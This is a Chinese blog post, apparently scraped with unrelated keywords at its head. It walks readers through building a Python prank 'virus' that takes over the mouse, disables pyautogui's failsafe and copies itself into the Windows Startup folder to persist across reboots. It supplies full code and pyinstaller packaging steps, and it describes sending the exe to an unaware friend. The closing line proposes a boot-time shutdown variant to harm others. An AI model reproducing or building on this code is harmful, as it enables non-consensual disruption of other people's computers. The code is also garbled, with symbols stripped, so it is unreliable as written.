手机网站注册页面,表白制作图神器软件,wordpress 免费商城,网站怎么做动态切图目录 #x1f3c6;一、前言 #x1f3c6;二、程序第一版 #x1f3c6;三、程序大魔改 #x1f6a9;1、基础改动 #x1f6a9;2、打包 #x1f6a9;3、F12保护机制 #x1f6a9;4、添加开机自启项 #x1f6a9;5、自己也不懂的线程魔改 #x1f3c6;四、最终代码 … 目录 一、前言 二、程序第一版 三、程序大魔改 1、基础改动 2、打包 3、F12保护机制 4、添加开机自启项 5、自己也不懂的线程魔改 四、最终代码 五、尾声 一、前言
程序源码在最终代码部分。
本文配有资源现成的exe可以直接转发给好友
模块pyautoguikeyboardsysshutilrandomosthreading
该程序因为不完全是本人写的所以讲解不怎么好可忽略
又是好几个月没写文了然后发生了一件特别有趣的事想起来了。
自己在远古时代写了一个pyautogui的鼠标乱动程序最近学了打包然后就把程序打包下来发给我的QQ好友。
我的好友打开这个程序了之后鼠标乱点刚好点到他的游戏帮他直接开了一把还从黄金掉到白银了哈哈哈哈哈哈
然后就拿着这个程序找我同学花一天时间将程序大改良成功做出了一个小型病毒。
程序实现了
1.运行后鼠标乱动无法控制。
2.长按F12可以解除。
3.添加开机启动项重启后继续运行。
二、程序第一版
import pyautogui as gui
import random as r
gui.FAILSAFE True
a0
while a100:br.randint(1,3)if b1:gui.moveTo(r.randint(1,1919),r.randint(1,1079))if b2:gui.click(r.randint(1,1919),r.randint(1,1079),buttonleft)if b3:gui.dragTo(r.randint(1,1919),r.randint(1,1079))a1
这是我做的第一版程序鼠标可以乱动乱点乱拖100次。后面感觉有点伤害电脑就把乱点乱拖去掉了只能乱动。
先了解一下pyautogui模块这是一个自动化脚本模块内有可以操控自己的鼠标和键盘的函数。详情可以在我的主页查找python详解(6)这篇文章。
配置pyautogui模块只需输入pip install pyautogui即可。
本程序第三行中的FAILSAFE是一个安全变量把他设置为True只要鼠标运行时用力往左上角拖就不会报错。默认为True。
第8行的moveTo函数有移动鼠标到指定坐标的作用。显示器的坐标通常是1920*1080。
第10行的click函数有在指定坐标单机的作用。button参数为单机的鼠标键。buttonright就会单机鼠标右键。
第12行的dragTo有长按鼠标移动到指定坐标再松开鼠标的作用说人话就是拖动。
这个程序要说那里都不错就是没有实现做出来的意义打包出来去坑人
三、程序大魔改
想要把程序拿去坑人就必须进行打包变成exe格式这样即使对方的电脑没有对应模块甚至没有python也能运行。
结果我打包的时候不知道什么原因总是一运行就闪退于是求助我的同学结果他直接帮我把程序进行了大魔改
1、基础改动
将程序做了一些基础改动gui.FAILSAFE调整为False将鼠标的点击拖动程序去掉循环次数直接改成无限次。这些都是小改动不是重点。
2、打包
打包程序最常用的模块就是pyinstaller。还是万能的pip install安装。
在cmd界面输入
pyinstaller -F 要打包文件的路径
等待他把一大串东西输出完文件就打包到了Administrator里面点开里面的dist文件夹里面的exe程序就是打包好的程序双击就可以运行。
不知道什么原因我打包带有pyautogui的程序总是出问题但是其他程序可以。我同学打包pyautogui程序也可以就很难评。
3、F12保护机制
代码要实现侦测到按下F12之后退出程序。
keyboard模块里面还是需要pip安装有一个函数
keyboard.is_pressed()
他将会侦测一个键盘按键是否被按下。是则返回True。
sys模块里面有exit()函数可以关闭该窗口。
于是我们可以设置一个鼠标移动的函数
def move():while True:if keyboard.is_pressed(F12) True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
大功告成
4、添加开机自启项
要想程序开机自启有一个神奇的路径
rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
只要把文件放在这个路径里面程序就会开机自启。这里又要用到其他模块了shutil第三方还有sys。
shutil.copy(sys.argv[0],rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp)
这段代码可以将该文件复制到开启自启项里。
然后呢就有一个问题这个文件开机自启之后会再运行一遍这个添加开机自启的程序因为这个程序已经在开机自启项里面了所以会报错。接下来要用到万能的os模块
os.path.exists(rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe)
这串代码可以返回检索文件结果。如果找到这个文件了就返回True。这样我们可以进行控制
f os.path.exists(rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe)
if f True:#如果包含该文件try:if __name__ __main__:待补充except Exception as e:#这个地方是出现报错的时候了解报错情况用的print(e)
else:#如果不包含该文件shutil.copy(sys.argv[0],rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp)#直接添加while True:move()
5、自己也不懂的线程魔改
多线程实在看不懂学不会。我同学本人的描述是
就是创建一个线程如果之后要加功能的话也方便直接扔线程池就完事儿了创建一个线程应该也可以避免部分崩溃罢。
然后把上述代码魔改成了这样
threads []
t1threading.Thread(move())
threads.append(t1)
f os.path.exists(rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe)
if f True:try:if __name__ __main__:for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp)while True:move()
看不懂一点不过能用就行。
四、最终代码
import pyautogui as gui
gui.FAILSAFE False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():while True:if keyboard.is_pressed(F12) True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads []
t1threading.Thread(move())
threads.append(t1)
f os.path.exists(rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe)
if f True:try:if __name__ __main__:for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],rC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp)while True:move()28行代码我和同学两个人讨论了1天半最终还是实现了。只要配置好所有模块打包下来就能用辣
五、尾声
程序实用性还是不咋的杀伤力太小其实可以在这个基础上做一个开机自启关机的程序直接毒死所有人。
感谢观看
--------------------------------------------------------end-------------------------------------------------